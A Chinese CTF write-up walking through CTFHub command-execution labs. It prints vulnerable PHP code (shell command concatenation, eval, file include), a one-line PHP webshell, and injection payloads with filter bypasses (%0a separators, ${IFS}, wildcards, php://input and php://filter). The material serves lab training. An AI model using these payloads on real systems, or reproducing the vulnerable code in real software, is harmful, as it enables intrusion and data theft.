CTFHub-技能树-命令执行

CTFHub-技能树-命令执行

1.命令注入

给了源码:

// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
    $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
    exec($cmd, $res);// 执行cmd,把结果输出到res
}

if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

根据第五行代码,这里直接拼接就行

看到有一个php文件,8061098418328.php,直接用cat,但是没有显示

考虑到有特殊字符,无法回显,使用base64编码,拿到flag。

这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入

2.过滤cat

过滤cat,类似cat的指令这里有一堆

和上一题思路一样,拼接语句

先用ls查看文件名

再用一个类似于cat的指令查看内容并以base64格式输出

下一题

3.过滤空格

空格用${IFS}代替即可,还可以使用IFS$9、%09、<、>、<>、{,}、%20来代替空格

其余思路和上一题一样

4.过滤目录分隔符

emmmm,我想的是,过滤了目录分隔符/那我就不用了,

直接用拼接命令即可,其余思路一样

payload: 127.0.0.1;cd flag_is_here;cat flag_159229063344.php | base64

5.过滤运算符

前边只有base64编码的时候用到了运算符,而file | base64也可以写成base64 file

剩下的思路以之前一致

6.综合过滤练习

过滤了|,&,;, ,/,cat,flag,ctfhub

空格可以用${IFS}

cat可以用more

flag可以用正则f***

ctfhub应该用不到

查了一下,在linux下,命令分隔符除了;还能用%0a(换行符)

有了;就可以不用运算符了

然后按着之前的思路去做就可以了

最终的payload

!这里要注意,因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码

查看目录127.0.0.1%0als

查看文件夹内容127.0.0.1%0acd${IFS}f***_is_here%0als

查看flag127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php

7.eval执行

  • 题目

    <?php
    if (isset($_REQUEST['cmd'])) {
        eval($_REQUEST["cmd"]);
    } else {
        highlight_file(__FILE__);
    }
    ?>
    
  • 直接运行cmd参数,没有过滤,使用system函数即可执行bash命令

  • 解题

    eval():将传入的参数当作php代码执行,所以传参需要传入;

    ls/find找到flag,再cat即可

8.文件包含

  • 题目内容

    • index.php

      <?php
      error_reporting(0);
      if (isset($_GET['file'])) {
          if (!strpos($_GET["file"], "flag")) {
              include $_GET["file"];
          } else {
              echo "Hacker!!!";
          }
      } else {
          highlight_file(__FILE__);
      }
      ?>
      <hr>
      i have a <a href="shell.txt">shell</a>, how to use it ?
      i have a shell, how to use it ?
      

      如果GET参数file中没有关键词flag,则包含file参数所指文件

      include、require等包含类文件,会把指定文件中的内容当作php代码执行,当然不同函数有区别,开源在php manual查一下

    • shell.txt

      <?php eval($_REQUEST['ctfhub']);?>
      

      shell.txt是php一句话马

  • 解题过程

    构造payload,包含shell.txt并执行传入的参数

    ?file=shell.txt&ctfhub=PHP_CODE;

    因为不能含有关键词flag,所以最后利用通配符*来完成文件读取,fla*

9.php://input

  • 题目内容

    • index.php

      <?php
      if (isset($_GET['file'])) {
          if ( substr($_GET["file"], 0, 6) === "php://" ) {
              include($_GET["file"]);
          } else {
              echo "Hacker!!!";
          }
      } else {
          highlight_file(__FILE__);
      }
      ?>
      <hr>
      i don't have shell, how to get flag? <br>
      <a href="phpinfo.php">phpinfo</a>
      i don't have shell, how to get flag?
      phpinfo
      

      如果GET参数file的开头为php://则包含file

    • phpinfo

      给了phpinfo,看了下allow_url_include/fopen都为On,那么就可以利用php伪协议进行命令执行/文件读取

  • 解题过程

    既然题目是php://input,那就用它吧

    php://input === POST包的body

    那么/?file=php://input ,最终效果为include(php://input);

    我们只需要把POST的body设置为我们要执行的php代码即可

10.读取源代码

  • 题目内容

    • index.php

      <?php
      error_reporting(E_ALL);
      if (isset($_GET['file'])) {
          if ( substr($_GET["file"], 0, 6) === "php://" ) {
              include($_GET["file"]);
          } else {
              echo "Hacker!!!";
          }
      } else {
          highlight_file(__FILE__);
      }
      ?>
      <hr>
      i don't have shell, how to get flag? <br>
      flag in <code>/flag</code>
      i don't have shell, how to get flag?
      flag in /flag
      

      包含部分代码和上一题一样,php://开头即可

      此外,题目指出flag位置 /flag

  • 解题过程

    使用php伪协议php://filter进行文件读取,因为是flag,所以不需要编码

    构造payload:?file=php://filter/read/resource=/flag

11.远程包含

  • 题目内容

    php://input一样,本意应该是让我们把php脚本传到自己的vps上,然后使用url远程包含,达到rce的目的

    即file===你的url

  • 解题过程

    因为vps暂时没法用,偷懒一下,和php://input用的一样的解

原文地址:https://www.cnblogs.com/R3col/p/12515059.html